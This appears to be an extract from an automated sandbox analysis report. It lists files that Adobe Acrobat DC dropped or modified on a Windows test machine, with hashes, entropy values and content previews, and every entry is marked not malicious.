SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklrfG+MlltfllXlE/HT8kSNNX8RolJuRdxLlGB9lQRYwpDdt:kK4seT8hNMa8RdWBwRd
MD5:	FBE2B7511C4E11DA9429A117F36AB328
SHA1:	8DA3A3F9FA4CC870885611FE62D4027664B0651A
SHA-256:	3AB04C8AD35B2DA2B6A671DA7D71B7C4A93F52679325F60D4DC0CF2B05276A02
SHA-512:	7794EC80792FF0C8514D73AB5852B273943D021184A6EC69D13D4485EA50CA12F4395023657038D2C33904C9D8BD6AB5516D90DA8B1A2E9C4E4FF650442D7222
Malicious:	false
Preview:	p...... .........z...c..(....................................................... ..........W....t...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.139179158420051
Encrypted:	false
SSDEEP:	6:kK0yL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:DiDnLNkPlE99SNxAhUe/3
MD5:	A2F67111477550EBE8CD627FF5B11492
SHA1:	18BE27787AC684F6D3B343C4B30772E2B934D7E3
SHA-256:	96E25AAF94F2B6F72D41855E133BE5505C1064974615F44BC4EE6B749AB87EB5
SHA-512:	10C071CFD81C833B6A156A0EA72861CC893B1F807BE42A1474665D33B135376FDE3F8F9A95A9142C57148437ED2C511565727CDB6207326DB79AF6A8EB7E6380
Malicious:	false
Preview:	p...... .........6<..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6368

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6368

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.347038959215213
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJM3g98kUwPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95GMbLUkee9
MD5:	0378F3CA661741D86A9772F2C24E8A2B
SHA1:	EBCD10720C9BE25276F743061D0185FE953DCEC5
SHA-256:	7A90DDEF09279F15A95058592DD3E630BAF4A20836A93ABB7DA33AD770BE9BC0
SHA-512:	EBF58CD8F9DCD1BE314C41E25D5D7EFF599C937D9F7E07716604B95758ACACA7FC3E9B0DA575D5D548AC14CE754EFA3266399F8216BC1DCEF4A9533E298CD134
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2802103479786515
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJfBoTfXpnrPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95GWTfXcUke6
MD5:	5D1D995FEED0EA8C3C1AEEADE121F666
SHA1:	CDC92C32A951F43537ADF641FD1A36D5B3C70A7E
SHA-256:	7084B3510BAC5F1AD1A5E6B42C61DEBA81DE7F57D35C564CDC11E47998BB35BD
SHA-512:	C1BEEC6209F8B4F4543B1F1B34E7AD1B5A2CE4797BF82F6AEBFBEC40E7939DA51D32F6813CDE3BF92A2301BECAFDF030B9C415349B1B3A1E228D63D627C49FA9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.260228064795011
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJfBD2G6UpnrPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95GR22cUkee9
MD5:	F65A023B832BB9F4145D437A53D1CB4D
SHA1:	9E18FEA2D1628D2262A529F97F2D64650226D3BE
SHA-256:	7A7376944E4454B4430C3D97709114AC08BE28B843FE4182A5E1901BCB40E332
SHA-512:	25C87F1EF5DC64CB1FB4FA11A0710DDA3494A45A0534AA192DCA5B859C8E51B0DB57F5CCFE9E2ECFC1050E9B90156DE8A2EAA93C1B50E346A3AE8518A7550810
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.32341471884465
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJfPmwrPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95GH56Ukee9
MD5:	07AE72BDF20A476C947BE3BDB40E4A3E
SHA1:	AFD1EC65F6812EF343D40902C0166683CFF9A1E4
SHA-256:	CE4443973A3DE8DB08214865D0886412D48C28337352E75F5FA13F4BBB05C45A
SHA-512:	20DA85E79922CF5EFB7AA7B70282ECDD7534ED6C7D45BCF2004234F4F86EB4DFFADE5D59B14D6AE6AC727CF96793EF6AE8BBF16E9A33FAE26C677EEA392BCD5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688611969190187
Encrypted:	false
SSDEEP:	24:Yv6XCCJh9pLgE9cQx8LennAvzBvkn0RCmK8czOCCSm:YvFCJh9hgy6SAFv5Ah8cv/m
MD5:	C0C0A17D3C6093F09791012ECA3C0F36
SHA1:	DB1E452CA2DB9392587CB9AF5832A76B582E8E1F
SHA-256:	B573880B1A19B75F57B629754223F33014F55E32444BD7CB913C13DF8AC9E389
SHA-512:	37F7ACCDBD89E6D1E7DD7C8EBAD45B52175B14F160577629A835382E90E9B8DFDFC6D50C38EBDDF8199DC71E5793628B3FD29B9147022C09AF354ADDE1E5938A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269613276150605
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJf8dPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95GU8Ukee9
MD5:	1B917162B9A651C9DF16A4FEA4A01550
SHA1:	E556CFA6B1DAA053885E92516B69082534CAB047
SHA-256:	64662BC81AF77A399A7DCC7645108B84C6F4708743509631FD2765C5C92DF910
SHA-512:	DFDFDF12433CE3D9440F7DF047F5F79F217F55B9D3B2630CDA4DF184EB411A96692A653105F85649B57C4169C8149331A1D7880D1D288F0A77E319A88B6834B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2680696504836675
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJfQ1rPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95GY16Ukee9
MD5:	8B7BD23BB517E09190272E94D806D8BC
SHA1:	7D0E467C9CFF80E97D210FC9D5794D71A36FC2D6
SHA-256:	1F56D92DDC228A6AFD2381A4188AD5267DA4ACF55C6AE83C936DC8EB32B805B2
SHA-512:	82526AB33C3BE0F06E0101B0B566318FFF9D3C1B95FC5E4CFF47C970F4ED95CF7F7F24BAC4FCF809CC25DC79E70E3AFDDD92C22500ED5B2E4C533848BA6551F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283024998410753
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJfFldPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95Gz8Ukee9
MD5:	66B352A13B33146D983CE889FCD87120
SHA1:	F2CCD3BBC28739959793EE73205B6725299E602E
SHA-256:	C9BE7F8560CD6E3989826B82C2117E4061297B4404BD34A9E204D03809B53108
SHA-512:	ADA79FCDB05AAE80E338B1462A0DD09CDCC1272072544C1CC4AA760964BFB39157B753500C2F922624092FBDD535A3EAEF120CAFA3E215E81A5FBA34BA1C867E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2964154039323486
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJfzdPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95Gb8Ukee9
MD5:	70A6561AB56BEA949AA02E7BFC0B5C20
SHA1:	3AB5974FE0C7B0ED0DBE3A3B5DF804529B550E74
SHA-256:	A174B49F24943F2AA0078D9DA23D598500B28F72347920851F31EB010A668849
SHA-512:	EA45A0FFCDC42A583A23B317F793086F5D72361D8115E641C3B5F7C470683E3E1150140C6C7BDDAA8F0E4CB752040E14361294687EF2B370CEADA1168EB87216
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.276860190660511
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJfYdPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95Gg8Ukee9
MD5:	C722A53C8FDA3843EC645144E6103632
SHA1:	D123C2826B9715D1F5ADFA50D2D397315682009D
SHA-256:	92C483E4ECCBB510E11ADF582871B7B40767FA8ED6C9741F9AE5D4FBF6356CF0
SHA-512:	5C2F5C9AC26B18B805A52C8682AC857381CE378779AE001D0D9FFDCE6EDAEDF39EB4760B51A2A7A3E8A1C6025CE89B94F0A91C6B1B86CE2D3FF12307DB0AA297
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.263352013463546
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJf+dPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95G28Ukee9
MD5:	F59034B076B4254667539BC7521B29FF
SHA1:	6F6EA265ECABFEBDBEF1884F88B6A21F991A49BA
SHA-256:	3541065D1E03CE18B9EAEDDCEABCF107728970E7F83CA56DF28E1176507FA5CF
SHA-512:	DFE3BBBF704D175D36A9B4771D72169D7899042469AE301DC906CF79EE06CB306FD328F3F537F25C3C5A891B9311D41AE512E3F5736ACE67E5ED1C373AF201C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

